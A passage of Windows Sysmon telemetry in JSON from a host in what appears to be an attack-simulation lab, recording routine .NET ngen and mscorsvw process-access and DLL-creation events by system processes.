{90617006-4263-5F2D-0000-0010F61E0A00}\r\nTargetProcessId: 4172\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:35.900","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4263-5F2D-0000-0010F61E0A00}","TargetProcessId":"4172","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6551,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:35.900\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4263-5F2D-0000-0010F61E0A00}\r\nTargetProcessId: 4172\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:35.900","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4263-5F2D-0000-0010F61E0A00}","TargetProcessId":"4172","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6552,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:35.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4263-5F2D-0000-0010F61E0A00}\r\nTargetProcessId: 4172\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:35.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4263-5F2D-0000-0010F61E0A00}","TargetProcessId":"4172","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6553,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:00:36.213\r\nProcessGuid: {90617006-4263-5F2D-0000-0010F61E0A00}\r\nProcessId: 4172\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\104c-0\\System.Xml.Linq.dll\r\nCreationUtcTime: 2020-08-07 12:00:36.213","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:00:36.213","ProcessGuid":"{90617006-4263-5F2D-0000-0010F61E0A00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\104c-0\\System.Xml.Linq.dll","CreationUtcTime":"2020-08-07 12:00:36.213","EventReceivedTime":"2020-08-07 12:00:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6554,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:36.260\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4264-5F2D-0000-0010D2220A00}\r\nTargetProcessId: 4720\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:36.260","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4264-5F2D-0000-0010D2220A00}","TargetProcessId":"4720","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6555,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:36.260\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4264-5F2D-0000-0010D2220A00}\r\nTargetProcessId: 4720\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:36.260","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4264-5F2D-0000-0010D2220A00}","TargetProcessId":"4720","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6556,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:36.275\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4264-5F2D-0000-0010D2220A00}\r\nTargetProcessId: 4720\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:36.275","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4264-5F2D-0000-0010D2220A00}","TargetProcessId":"4720","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6557,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:36.400\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4264-5F2D-0000-00106F260A00}\r\nTargetProcessId: 2960\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:36.400","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4264-5F2D-0000-00106F260A00}","TargetProcessId":"2960","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6558,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:36.400\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4264-5F2D-0000-00106F260A00}\r\nTargetProcessId: 2960\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:36.400","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4264-5F2D-0000-00106F260A00}","TargetProcessId":"2960","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6559,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:36.416\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4264-5F2D-0000-00106F260A00}\r\nTargetProcessId: 2960\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 